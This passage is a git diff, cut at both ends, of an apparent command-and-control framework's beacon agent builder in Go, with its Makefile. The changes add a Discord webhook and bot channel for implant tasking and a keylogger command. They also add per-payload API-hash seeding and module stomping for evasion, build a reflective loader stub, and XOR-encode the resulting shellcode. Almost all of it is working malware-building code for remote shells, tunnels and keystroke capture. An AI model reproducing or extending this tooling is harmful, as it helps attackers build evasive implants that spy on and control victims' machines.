[]interface{}{COMMAND_TUNNEL_REVERSE, tunnelId, port} packData, _ = PackArray(array) /// END CODE HERE - return makeProxyTask(packData, PRIORITY_TUNNEL_CREATE) + return makeProxyTask(packData) } /// TERMINAL @@ -236,7 +236,7 @@ func TerminalMessageStart(terminalId int, program string, sizeH int, sizeW int, array := []interface{}{COMMAND_SHELL_START, terminalId, programArgs} packData, _ = PackArray(array) /// END CODE HERE - return makeProxyTask(packData, PRIORITY_TUNNEL_CREATE) + return makeProxyTask(packData) } func TerminalMessageWrite(terminalId int, oemCP int, data []byte) adaptix.TaskData { @@ -249,7 +249,7 @@ func TerminalMessageWrite(terminalId int, oemCP int, data []byte) adaptix.TaskDa array := []interface{}{COMMAND_SHELL_WRITE, terminalId, len(dataEncode), []byte(dataEncode)} packData, _ = PackArray(array) /// END CODE HERE - return makeProxyTask(packData, PRIORITY_TUNNEL_DATA) + return makeProxyTask(packData) } func TerminalMessageClose(terminalId int) adaptix.TaskData { @@ -258,7 +258,7 @@ func TerminalMessageClose(terminalId int) adaptix.TaskData { array := []interface{}{COMMAND_JOBS_KILL, terminalId} packData, _ = PackArray(array) /// END CODE HERE - return makeProxyTask(packData, PRIORITY_TUNNEL_CLOSE) + return makeProxyTask(packData) } ////// PLUGIN AGENT @@ -290,18 +290,30 @@ type GenerateConfig struct { ProxyUsername string `json:"proxy_username"` ProxyPassword string `json:"proxy_password"` RotationMode string `json:"rotation_mode"` + ModuleStomp bool `json:"module_stomp"` + StompPaths string `json:"stomp_paths"` } var ( - ObjectDir_http = "objects_http" - ObjectDir_smb = "objects_smb" - ObjectDir_tcp = "objects_tcp" - ObjectDir_dns = "objects_dns" - ObjectFiles = [...]string{"Agent", "AgentConfig", "AgentInfo", "ApiLoader", "beacon_functions", "bof_loader", "Boffer", "Commander", "crt", "Crypt", "Downloader", "Encoders", "JobsController", "MainAgent", "MemorySaver", "Packer", "Pivotter", "ProcLoader", "Proxyfire", "std", "utils", "WaitMask"} + ObjectDir_http = "objects_http" + ObjectDir_smb = "objects_smb" + ObjectDir_tcp = "objects_tcp" + ObjectDir_dns = "objects_dns" + ObjectDir_discord = "objects_discord" + ObjectFiles = [...]string{"Agent", "AgentConfig", "AgentInfo", "ApiLoader", "beacon_functions", "bof_loader", "Boffer", "Commander", "crt", "Crypt", "Downloader", "Encoders", "JobsController", "Keylogger", "MainAgent", "MemorySaver", "Packer", "Pivotter", "ProcLoader", "Proxyfire", "std", "utils", "WaitMask"} CFlags = "-c -fno-builtin -fno-unwind-tables -fno-strict-aliasing -fno-ident -fno-stack-protector -fno-exceptions -fno-asynchronous-unwind-tables -fno-strict-overflow -fno-delete-null-pointer-checks -fpermissive -w -masm=intel -fPIC" - LFlags = "-Os -s -Wl,-s,--gc-sections -static-libgcc -static-libstdc++ -mwindows" + LFlags = "-Os -s -Wl,-s,--gc-sections -static-libgcc -mwindows" ) +var seedDependentFiles = map[string]bool{ + "ProcLoader": true, + "ApiLoader": true, + "Boffer": true, + "bof_loader": true, + "Commander": true, + "Keylogger": true, +} + func (p *PluginAgent) GenerateProfiles(profile adaptix.BuildProfile) ([][]byte, error) { var agentProfiles [][]byte @@ -361,6 +373,9 @@ func (p *PluginAgent) GenerateProfiles(profile adaptix.BuildProfile) ([][]byte, if err != nil { return nil, err } + if len(encryptKey) != 32 { + return nil, errors.New("encrypt_key must be 32 bytes (64 hex chars) for AES-256-GCM") + } params = append(params, int(agentWatermark)) params = append(params, kill_date) @@ -495,6 +510,19 @@ func (p *PluginAgent) GenerateProfiles(profile adaptix.BuildProfile) ([][]byte, return nil, err } + case "discord": + webhookUrl, _ := listenerMap["webhook_url"].(string) + botToken, _ := listenerMap["bot_token"].(string) + channelTasksId, _ := listenerMap["channel_tasks_id"].(string) + pollInterval, _ := listenerMap["poll_interval"].(float64) + cleanup, _ := listenerMap["cleanup"].(bool) + + params = append(params, webhookUrl) + params = append(params, botToken) + params = append(params, channelTasksId) + params = append(params, int(pollInterval)) + params = append(params, cleanup) + default: return nil, errors.New("protocol unknown") } @@ -504,7 +532,7 @@ func (p *PluginAgent) GenerateProfiles(profile adaptix.BuildProfile) ([][]byte, return nil, err } - cryptParams, err := RC4Crypt(packedParams, encryptKey) + cryptParams, err := AES256GCMEncrypt(packedParams, encryptKey) if err != nil { return nil, err } @@ -577,6 +605,15 @@ func (p *PluginAgent) BuildPayload(profile adaptix.BuildProfile, agentProfiles [ return nil, "", err } + seed := cryptoRandUint32() + err = os.WriteFile(currentDir+"/beacon/ApiDefines.h", []byte(generateApiDefines(seed)), 0644) + if err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", err + } + cFlags += fmt.Sprintf(" -DDJB2_SEED=%dU", seed) + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, fmt.Sprintf("DJB2 seed: 0x%08x", seed)) + protocol, _ := listenerMap["protocol"].(string) if protocol == "http" { ObjectDir = ObjectDir_http @@ -590,6 +627,9 @@ func (p *PluginAgent) BuildPayload(profile adaptix.BuildProfile, agentProfiles [ } else if protocol == "dns" { ObjectDir = ObjectDir_dns ConnectorFile = "ConnectorDNS" + } else if protocol == "discord" { + ObjectDir = ObjectDir_discord + ConnectorFile = "ConnectorDiscord" } else { return nil, "", errors.New("protocol unknown") } @@ -629,13 +669,60 @@ func (p *PluginAgent) BuildPayload(profile adaptix.BuildProfile, agentProfiles [ } _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_SUCCESS, "Configuration compiled successfully") + beaconDefine := "" + switch protocol { + case "http": + beaconDefine = "-DBEACON_HTTP" + case "bind_smb": + beaconDefine = "-DBEACON_SMB" + case "bind_tcp": + beaconDefine = "-DBEACON_TCP" + case "dns": + beaconDefine = "-DBEACON_DNS" + case "discord": + beaconDefine = "-DBEACON_DISCORD" + } + + recompileFiles := []string{ConnectorFile} + for name := range seedDependentFiles { + recompileFiles = append(recompileFiles, name) + } + if protocol == "dns" { + recompileFiles = append(recompileFiles, "DnsCodec") + } + + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, "Recompiling hash-dependent files with per-payload seed...") + for _, srcFile := range recompileFiles { + srcPath := "beacon/" + srcFile + ".cpp" + outPath := tempDir + "/" + srcFile + Ext + cmdRecomp := fmt.Sprintf("%s %s %s %s -o %s", Compiler, cFlags, beaconDefine, srcPath, outPath) + var recompArgs []string + recompArgs = append(recompArgs, "-c", cmdRecomp) + err = Ts.TsAgentBuildExecute(profile.BuilderId, currentDir, "sh", recompArgs...) + if err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", err + } + } + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_SUCCESS, "Hash-dependent files recompiled") + + recompiledSet := make(map[string]bool) + for _, f := range recompileFiles { + recompiledSet[f] = true + } + Files := tempDir + "/config.o " - Files += ObjectDir + "/" + ConnectorFile + Ext + " " + Files += tempDir + "/" + ConnectorFile + Ext + " " for _, ofile := range ObjectFiles { - Files += ObjectDir + "/" + ofile + Ext + " " + if recompiledSet[ofile] { + Files += tempDir + "/" + ofile + Ext + " " + } else { + Files += ObjectDir + "/" + ofile + Ext + " " + } } if protocol == "dns" { - Files = appendDNSObjectFiles(Files, ObjectDir, Ext) + Files += tempDir + "/DnsCodec" + Ext + " " + Files += ObjectDir + "/miniz" + Ext + " " } if generateConfig.Format == "Exe" { @@ -722,17 +809,85 @@ func (p *PluginAgent) BuildPayload(profile adaptix.BuildProfile, agentProfiles [ if err != nil { return nil, "", err } - _ = os.RemoveAll(tempDir) if generateConfig.Format == "Shellcode" { - stubContent, err := os.ReadFile(stubPath) - if err != nil { - return nil, "", err + if generateConfig.Arch == "x64" { + stubHashes := computeStubHashes(seed) + nasmSrc := "files/stub_rdi.x64.asm" + stubBinPath := tempDir + "/stub.x64.bin" + nasmDefines := fmt.Sprintf("-DDJB2_SEED=%d -DHASH_MOD_NTDLL=0x%x -DHASH_MOD_KERNEL32=0x%x "+ + "-DHASH_NTCREATESECTION=0x%x -DHASH_NTMAPVIEWOFSECTION=0x%x "+ + "-DHASH_NTPROTECTVIRTUALMEMORY=0x%x -DHASH_NTCLOSE=0x%x "+ + "-DHASH_LOADLIBRARYA=0x%x -DHASH_GETPROCADDRESS=0x%x "+ + "-DHASH_FLUSHINSTRUCTIONCACHE=0x%x -DHASH_FREELIBRARY=0x%x "+ + "-DHASH_LOADLIBRARYEXA=0x%x", + seed, + stubHashes.ModNtdll, stubHashes.ModKernel32, + stubHashes.NtCreateSection, stubHashes.NtMapViewOfSection, + stubHashes.NtProtectVirtualMem, stubHashes.NtClose, + stubHashes.LoadLibraryA, stubHashes.GetProcAddress, + stubHashes.FlushInstructionCache, stubHashes.FreeLibrary, + stubHashes.LoadLibraryExA) + + if generateConfig.ModuleStomp && generateConfig.StompPaths != "" { + incPath := tempDir + "/stomp_paths.inc" + var incContent strings.Builder + incContent.WriteString("_stomp_paths:\n") + for _, line := range strings.Split(generateConfig.StompPaths, "\n") { + path := strings.TrimSpace(line) + if path == "" { + continue + } + escaped := strings.ReplaceAll(path, `\`, `\\`) + incContent.WriteString(fmt.Sprintf(" db \"%s\", 0\n", escaped)) + } + incContent.WriteString(" db 0\n") + _ = os.WriteFile(incPath, []byte(incContent.String()), 0644) + nasmDefines += fmt.Sprintf(" -DMODULE_STOMP -I%s/", tempDir) + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, "Module stomping enabled") + } + + nasmCmd := fmt.Sprintf("nasm -f bin %s %s -o %s", nasmDefines, nasmSrc, stubBinPath) + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, "Assembling reflective loader stub with per-payload hashes...") + var nasmArgs []string + nasmArgs = append(nasmArgs, "-c", nasmCmd) + err = Ts.TsAgentBuildExecute(profile.BuilderId, currentDir, "sh", nasmArgs...) + if err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", err + } + stubContent, err := os.ReadFile(stubBinPath) + if err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", err + } + rawShellcode := append(stubContent, buildContent...) + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, fmt.Sprintf("Stub: %d bytes, raw shellcode: %d bytes", len(stubContent), len(rawShellcode))) + + Payload, err = xorEncodeShellcode(rawShellcode, "x64") + if err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", err + } + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_SUCCESS, fmt.Sprintf("XOR-encoded shellcode: %d bytes", len(Payload))) + } else { + stubContent, err := os.ReadFile(stubPath) + if err != nil { + return nil, "", err + } + rawShellcode := append(stubContent, buildContent...) + + Payload, err = xorEncodeShellcode(rawShellcode, "x86") + if err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", err + } + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_SUCCESS, fmt.Sprintf("XOR-encoded shellcode: %d bytes", len(Payload))) } - Payload = append(stubContent, buildContent...) } else { Payload = buildContent } + _ = os.RemoveAll(tempDir) _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, fmt.Sprintf("Payload size: %d bytes", len(Payload))) /// END CODE HERE @@ -805,13 +960,13 @@ func (p *PluginAgent) CreateAgent(beat []byte) (adaptix.AgentData, adaptix.Exten func (ext *ExtenderAgent) Encrypt(data []byte, key []byte) ([]byte, error) { /// START CODE - return RC4Crypt(data, key) + return AES256GCMEncrypt(data, key) /// END CODE } func (ext *ExtenderAgent) Decrypt(data []byte, key []byte) ([]byte, error) { /// START CODE - return RC4Crypt(data, key) + return AES256GCMDecrypt(data, key) /// END CODE } @@ -1485,6 +1640,11 @@ func (ext *ExtenderAgent) CreateCommand(agentData adaptix.AgentData, args map[st array = []interface{}{COMMAND_UNLINK, int(id)} + case "keylog": + taskData.Type = adaptix.TASK_TYPE_JOB + pollInterval := 100 + array = []interface{}{COMMAND_KEYLOG_START, pollInterval} + case "upload": var fileName string var localFile string @@ -1513,7 +1673,6 @@ func (ext *ExtenderAgent) CreateCommand(agentData adaptix.AgentData, args map[st } taskData.Data, err = PackArray(array) - taskData.Priority = PRIORITY_TASK /// END CODE @@ -1856,6 +2015,11 @@ func (ext *ExtenderAgent) ProcessData(agentData adaptix.AgentData, decryptedData } task.Message = message + case COMMAND_KEYLOG_START: + task.Type = adaptix.TASK_TYPE_JOB + task.Completed = false + task.Message = "Keylogger started (use 'jobs kill' to stop)" + case COMMAND_JOB: if false == packer.CheckPacker([]string{"byte", "byte"}) { goto HANDLER @@ -1974,10 +2138,10 @@ func (ext *ExtenderAgent) ProcessData(agentData adaptix.AgentData, decryptedData if linkType == 1 { task.Message = fmt.Sprintf("----- New SMB pivot agent: [%s]===[%s] -----", agentData.Id, childAgentId) - Ts.TsAgentConsoleOutput(childAgentId, "", adaptix.MESSAGE_SUCCESS, task.Message, "\n", true) + Ts.TsAgentConsoleOutput(childAgentId, adaptix.MESSAGE_SUCCESS, task.Message, "\n", true) } else if linkType == 2 { task.Message = fmt.Sprintf("----- New TCP pivot agent: [%s]===[%s] -----", agentData.Id, childAgentId) - Ts.TsAgentConsoleOutput(childAgentId, "", adaptix.MESSAGE_SUCCESS, task.Message, "\n", true) + Ts.TsAgentConsoleOutput(childAgentId, adaptix.MESSAGE_SUCCESS, task.Message, "\n", true) } case COMMAND_LS: @@ -2325,9 +2489,10 @@ func (ext *ExtenderAgent) ProcessData(agentData adaptix.AgentData, decryptedData case COMMAND_REV2SELF: task.Message = "Token reverted successfully" + emptyImpersonate := "" _ = Ts.TsAgentUpdateDataPartial(agentData.Id, struct { Impersonated *string `json:"impersonated"` - }{Impersonated: new("")}) + }{Impersonated: &emptyImpersonate}) case COMMAND_RM: if false == packer.CheckPacker([]string{"byte"}) { @@ -2453,11 +2618,11 @@ func (ext *ExtenderAgent) ProcessData(agentData adaptix.AgentData, decryptedData if pivotType != 0 { _ = Ts.TsPivotDelete(pivotId) if TaskId == 0 { - Ts.TsAgentConsoleOutput(parentAgentId, "", adaptix.MESSAGE_SUCCESS, messageParent, "\n", true) + Ts.TsAgentConsoleOutput(parentAgentId, adaptix.MESSAGE_SUCCESS, messageParent, "\n", true) } else { task.Message = messageParent } - Ts.TsAgentConsoleOutput(childAgentId, "", adaptix.MESSAGE_SUCCESS, messageChild, "\n", true) + Ts.TsAgentConsoleOutput(childAgentId, adaptix.MESSAGE_SUCCESS, messageChild, "\n", true) } case COMMAND_UPLOAD: diff --git a/AdaptixServer/extenders/beacon_agent/pl_utils.go b/AdaptixServer/extenders/beacon_agent/pl_utils.go index e4232c7c9..cbb8eb2c1 100644 --- a/AdaptixServer/extenders/beacon_agent/pl_utils.go +++ b/AdaptixServer/extenders/beacon_agent/pl_utils.go @@ -3,7 +3,9 @@ package main import ( "bytes" "compress/zlib" - "crypto/rc4" + "crypto/aes" + "crypto/cipher" + crypto_rand "crypto/rand" "errors" "fmt" "io" @@ -16,13 +18,6 @@ import ( adaptix "github.com/Adaptix-Framework/axc2" ) -const ( - PRIORITY_TASK = 0 - PRIORITY_TUNNEL_CREATE = 10 - PRIORITY_TUNNEL_DATA = 11 - PRIORITY_TUNNEL_CLOSE = 12 -) - const ( COMMAND_CAT = 24 COMMAND_COPY = 12 @@ -66,6 +61,8 @@ const ( COMMAND_SHELL_CLOSE = 73 COMMAND_SHELL_ACCEPT = 74 + COMMAND_KEYLOG_START = 80 + COMMAND_JOB = 0x8437 COMMAND_SAVEMEMORY = 0x2321 COMMAND_ERROR = 0x1111ffff @@ -211,14 +208,42 @@ func SizeBytesToFormat(bytes int64) string { return fmt.Sprintf("%.2f Kb", size/KB) } -func RC4Crypt(data []byte, key []byte) ([]byte, error) { - rc4crypt, errcrypt := rc4.NewCipher(key) - if errcrypt != nil { - return nil, errors.New("rc4 crypt error") +func AES256GCMEncrypt(data []byte, key []byte) ([]byte, error) { + block, err := aes.NewCipher(key) + if err != nil { + return nil, fmt.Errorf("aes cipher error: %v", err) + } + gcm, err := cipher.NewGCM(block) + if err != nil { + return nil, fmt.Errorf("gcm error: %v", err) + } + nonce := make([]byte, gcm.NonceSize()) + if _, err := io.ReadFull(crypto_rand.Reader, nonce); err != nil { + return nil, fmt.Errorf("nonce generation error: %v", err) + } + ciphertext := gcm.Seal(nonce, nonce, data, nil) + return ciphertext, nil +} + +func AES256GCMDecrypt(data []byte, key []byte) ([]byte, error) { + block, err := aes.NewCipher(key) + if err != nil { + return nil, fmt.Errorf("aes cipher error: %v", err) + } + gcm, err := cipher.NewGCM(block) + if err != nil { + return nil, fmt.Errorf("gcm error: %v", err) + } + nonceSize := gcm.NonceSize() + if len(data) < nonceSize+gcm.Overhead() { + return nil, errors.New("ciphertext too short") + } + nonce, ciphertext := data[:nonceSize], data[nonceSize:] + plaintext, err := gcm.Open(nil, nonce, ciphertext, nil) + if err != nil { + return nil, fmt.Errorf("gcm decrypt error: %v", err) } - decryptData := make([]byte, len(data)) - rc4crypt.XORKeyStream(decryptData, data) - return decryptData, nil + return plaintext, nil } func parseDurationToSeconds(input string) (int, error) { diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/Makefile b/AdaptixServer/extenders/beacon_agent/src_beacon/Makefile index e3bc7efed..18b8994cf 100644 --- a/AdaptixServer/extenders/beacon_agent/src_beacon/Makefile +++ b/AdaptixServer/extenders/beacon_agent/src_beacon/Makefile @@ -10,6 +10,7 @@ HTTP_DIST_DIR := "objects_http" SMB_DIST_DIR := "objects_smb" TCP_DIST_DIR := "objects_tcp" DNS_DIST_DIR := "objects_dns" +DISCORD_DIST_DIR := "objects_discord" HTTP_OBJECTS_X64 := $(patsubst beacon/%.cpp, $(HTTP_DIST_DIR)/%.x64.o, $(SOURCES)) HTTP_OBJECTS_X86 := $(patsubst beacon/%.cpp, $(HTTP_DIST_DIR)/%.x86.o, $(SOURCES)) @@ -23,6 +24,9 @@ TCP_OBJECTS_X86 := $(patsubst beacon/%.cpp, $(TCP_DIST_DIR)/%.x86.o, $(SOURCES)) DNS_OBJECTS_X64 := $(patsubst beacon/%.cpp, $(DNS_DIST_DIR)/%.x64.o, $(SOURCES)) DNS_OBJECTS_X86 := $(patsubst beacon/%.cpp, $(DNS_DIST_DIR)/%.x86.o, $(SOURCES)) +DISCORD_OBJECTS_X64 := $(patsubst beacon/%.cpp, $(DISCORD_DIST_DIR)/%.x64.o, $(SOURCES)) +DISCORD_OBJECTS_X86 := $(patsubst beacon/%.cpp, $(DISCORD_DIST_DIR)/%.x86.o, $(SOURCES)) + SECURITY_FLAGS := -fno-stack-protector \ -fno-strict-overflow \ -fno-delete-null-pointer-checks \ @@ -38,6 +42,7 @@ COMMON_FLAGS := -I $(BEACON_DIR) \ -w \ $(ASM_SYNTAX) \ -fPIC \ + -DDJB2_SEED=1572U \ $(SECURITY_FLAGS) \ $(OPTIMIZATION_FLAGS) @@ -55,7 +60,7 @@ endif all: clean pre x64 x86 pre: - @mkdir -p $(HTTP_DIST_DIR) $(SMB_DIST_DIR) $(TCP_DIST_DIR) $(DNS_DIST_DIR) + @mkdir -p $(HTTP_DIST_DIR) $(SMB_DIST_DIR) $(TCP_DIST_DIR) $(DNS_DIST_DIR) $(DISCORD_DIST_DIR) @ # http @ cp $(FILES_DIR)/config.tpl $(HTTP_DIST_DIR)/config.cpp @ cp $(FILES_DIR)/stub.x64.bin $(HTTP_DIST_DIR)/stub.x64.bin @@ -72,54 +77,68 @@ pre: @ cp $(FILES_DIR)/config.tpl $(DNS_DIST_DIR)/config.cpp @ cp $(FILES_DIR)/stub.x64.bin $(DNS_DIST_DIR)/stub.x64.bin @ cp $(FILES_DIR)/stub.x86.bin $(DNS_DIST_DIR)/stub.x86.bin + @ # discord + @ cp $(FILES_DIR)/config.tpl $(DISCORD_DIST_DIR)/config.cpp + @ cp $(FILES_DIR)/stub.x64.bin $(DISCORD_DIST_DIR)/stub.x64.bin + @ cp $(FILES_DIR)/stub.x86.bin $(DISCORD_DIST_DIR)/stub.x86.bin clean: - @rm -rf $(HTTP_DIST_DIR) $(SMB_DIST_DIR) $(TCP_DIST_DIR) $(DNS_DIST_DIR) - @mkdir -p $(HTTP_DIST_DIR) $(SMB_DIST_DIR) $(TCP_DIST_DIR) $(DNS_DIST_DIR) + @rm -rf $(HTTP_DIST_DIR) $(SMB_DIST_DIR) $(TCP_DIST_DIR) $(DNS_DIST_DIR) $(DISCORD_DIST_DIR) + @mkdir -p $(HTTP_DIST_DIR) $(SMB_DIST_DIR) $(TCP_DIST_DIR) $(DNS_DIST_DIR) $(DISCORD_DIST_DIR) -x64: $(HTTP_OBJECTS_X64) $(SMB_OBJECTS_X64) $(TCP_OBJECTS_X64) $(DNS_OBJECTS_X64) +x64: $(HTTP_OBJECTS_X64) $(SMB_OBJECTS_X64) $(TCP_OBJECTS_X64) $(DNS_OBJECTS_X64) $(DISCORD_OBJECTS_X64) @ # http @$(CXX_X64) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D BEACON_HTTP -D BUILD_SVC -o $(HTTP_DIST_DIR)/main_service.x64.o @$(CXX_X64) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D_WIN32_WINNT=0x0600 -D BEACON_HTTP -D BUILD_DLL -o $(HTTP_DIST_DIR)/main_dll.x64.o @$(CXX_X64) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D BEACON_HTTP -D BUILD_SHELLCODE -o $(HTTP_DIST_DIR)/main_shellcode.x64.o - @rm -f $(HTTP_DIST_DIR)/ConnectorSMB.x64.o $(HTTP_DIST_DIR)/ConnectorTCP.x64.o $(HTTP_DIST_DIR)/ConnectorDNS.x64.o + @rm -f $(HTTP_DIST_DIR)/ConnectorSMB.x64.o $(HTTP_DIST_DIR)/ConnectorTCP.x64.o $(HTTP_DIST_DIR)/ConnectorDNS.x64.o $(HTTP_DIST_DIR)/ConnectorDiscord.x64.o @ # smb @$(CXX_X64) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D BEACON_SMB -D BUILD_SVC -o $(SMB_DIST_DIR)/main_service.x64.o @$(CXX_X64) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D_WIN32_WINNT=0x0600 -D BEACON_SMB -D BUILD_DLL -o $(SMB_DIST_DIR)/main_dll.x64.o @$(CXX_X64) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D BEACON_SMB -D BUILD_SHELLCODE -o $(SMB_DIST_DIR)/main_shellcode.x64.o - @rm -f $(SMB_DIST_DIR)/ConnectorHTTP.x64.o $(SMB_DIST_DIR)/ConnectorTCP.x64.o $(SMB_DIST_DIR)/ConnectorDNS.x64.o + @rm -f $(SMB_DIST_DIR)/ConnectorHTTP.x64.o $(SMB_DIST_DIR)/ConnectorTCP.x64.o $(SMB_DIST_DIR)/ConnectorDNS.x64.o $(SMB_DIST_DIR)/ConnectorDiscord.x64.o @ # tcp @$(CXX_X64) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D BEACON_TCP -D BUILD_SVC -o $(TCP_DIST_DIR)/main_service.x64.o @$(CXX_X64) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D_WIN32_WINNT=0x0600 -D BEACON_TCP -D BUILD_DLL -o $(TCP_DIST_DIR)/main_dll.x64.o @$(CXX_X64) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D BEACON_TCP -D BUILD_SHELLCODE -o $(TCP_DIST_DIR)/main_shellcode.x64.o - @rm -f $(TCP_DIST_DIR)/ConnectorHTTP.x64.o $(TCP_DIST_DIR)/ConnectorSMB.x64.o $(TCP_DIST_DIR)/ConnectorDNS.x64.o + @rm -f $(TCP_DIST_DIR)/ConnectorHTTP.x64.o $(TCP_DIST_DIR)/ConnectorSMB.x64.o $(TCP_DIST_DIR)/ConnectorDNS.x64.o $(TCP_DIST_DIR)/ConnectorDiscord.x64.o @ # dns @$(CXX_X64) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D BEACON_DNS -D BUILD_SVC -o $(DNS_DIST_DIR)/main_service.x64.o @$(CXX_X64) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D_WIN32_WINNT=0x0600 -D BEACON_DNS -D BUILD_DLL -o $(DNS_DIST_DIR)/main_dll.x64.o @$(CXX_X64) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D BEACON_DNS -D BUILD_SHELLCODE -o $(DNS_DIST_DIR)/main_shellcode.x64.o - @rm -f $(DNS_DIST_DIR)/ConnectorHTTP.x64.o $(DNS_DIST_DIR)/ConnectorSMB.x64.o $(DNS_DIST_DIR)/ConnectorTCP.x64.o - -x86: $(HTTP_OBJECTS_X86) $(SMB_OBJECTS_X86) $(TCP_OBJECTS_X86) $(DNS_OBJECTS_X86) + @rm -f $(DNS_DIST_DIR)/ConnectorHTTP.x64.o $(DNS_DIST_DIR)/ConnectorSMB.x64.o $(DNS_DIST_DIR)/ConnectorTCP.x64.o $(DNS_DIST_DIR)/ConnectorDiscord.x64.o + @ # discord + @$(CXX_X64) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D BEACON_DISCORD -D BUILD_SVC -o $(DISCORD_DIST_DIR)/main_service.x64.o + @$(CXX_X64) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D_WIN32_WINNT=0x0600 -D BEACON_DISCORD -D BUILD_DLL -o $(DISCORD_DIST_DIR)/main_dll.x64.o + @$(CXX_X64) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D BEACON_DISCORD -D BUILD_SHELLCODE -o $(DISCORD_DIST_DIR)/main_shellcode.x64.o + @rm -f $(DISCORD_DIST_DIR)/ConnectorHTTP.x64.o $(DISCORD_DIST_DIR)/ConnectorSMB.x64.o $(DISCORD_DIST_DIR)/ConnectorTCP.x64.o $(DISCORD_DIST_DIR)/ConnectorDNS.x64.o + +x86: $(HTTP_OBJECTS_X86) $(SMB_OBJECTS_X86) $(TCP_OBJECTS_X86) $(DNS_OBJECTS_X86) $(DISCORD_OBJECTS_X86) @ # http @$(CXX_X86) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D BEACON_HTTP -D BUILD_SVC -o $(HTTP_DIST_DIR)/main_service.x86.o @$(CXX_X86) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D_WIN32_WINNT=0x0600 -D BEACON_HTTP -D BUILD_DLL -o $(HTTP_DIST_DIR)/main_dll.x86.o @$(CXX_X86) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D BEACON_HTTP -D BUILD_SHELLCODE -o $(HTTP_DIST_DIR)/main_shellcode.x86.o - @rm -f $(HTTP_DIST_DIR)/ConnectorSMB.x86.o $(HTTP_DIST_DIR)/ConnectorTCP.x86.o $(HTTP_DIST_DIR)/ConnectorDNS.x86.o + @rm -f $(HTTP_DIST_DIR)/ConnectorSMB.x86.o $(HTTP_DIST_DIR)/ConnectorTCP.x86.o $(HTTP_DIST_DIR)/ConnectorDNS.x86.o $(HTTP_DIST_DIR)/ConnectorDiscord.x86.o @ # smb @$(CXX_X86) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D BEACON_SMB -D BUILD_SVC -o $(SMB_DIST_DIR)/main_service.x86.o @$(CXX_X86) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D_WIN32_WINNT=0x0600 -D BEACON_SMB -D BUILD_DLL -o $(SMB_DIST_DIR)/main_dll.x86.o @$(CXX_X86) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D BEACON_SMB -D BUILD_SHELLCODE -o $(SMB_DIST_DIR)/main_shellcode.x86.o - @rm -f $(SMB_DIST_DIR)/ConnectorHTTP.x86.o $(SMB_DIST_DIR)/ConnectorTCP.x86.o $(SMB_DIST_DIR)/ConnectorDNS.x86.o + @rm -f $(SMB_DIST_DIR)/ConnectorHTTP.x86.o $(SMB_DIST_DIR)/ConnectorTCP.x86.o $(SMB_DIST_DIR)/ConnectorDNS.x86.o $(SMB_DIST_DIR)/ConnectorDiscord.x86.o @ # tcp @$(CXX_X86) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D BEACON_TCP -D BUILD_SVC -o $(TCP_DIST_DIR)/main_service.x86.o @$(CXX_X86) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D_WIN32_WINNT=0x0600 -D BEACON_TCP -D BUILD_DLL -o $(TCP_DIST_DIR)/main_dll.x86.o @$(CXX_X86) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D BEACON_TCP -D BUILD_SHELLCODE -o $(TCP_DIST_DIR)/main_shellcode.x86.o - @rm -f $(TCP_DIST_DIR)/ConnectorHTTP.x86.o $(TCP_DIST_DIR)/ConnectorSMB.x86.o $(TCP_DIST_DIR)/ConnectorDNS.x86.o + @rm -f $(TCP_DIST_DIR)/ConnectorHTTP.x86.o $(TCP_DIST_DIR)/ConnectorSMB.x86.o $(TCP_DIST_DIR)/ConnectorDNS.x86.o $(TCP_DIST_DIR)/ConnectorDiscord.x86.o @ # dns @$(CXX_X86) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D BEACON_DNS -D BUILD_SVC -o $(DNS_DIST_DIR)/main_service.x86.o @$(CXX_X86) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D_WIN32_WINNT=0x0600 -D BEACON_DNS -D BUILD_DLL -o $(DNS_DIST_DIR)/main_dll.x86.o @$(CXX_X86) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D BEACON_DNS -D BUILD_SHELLCODE -o 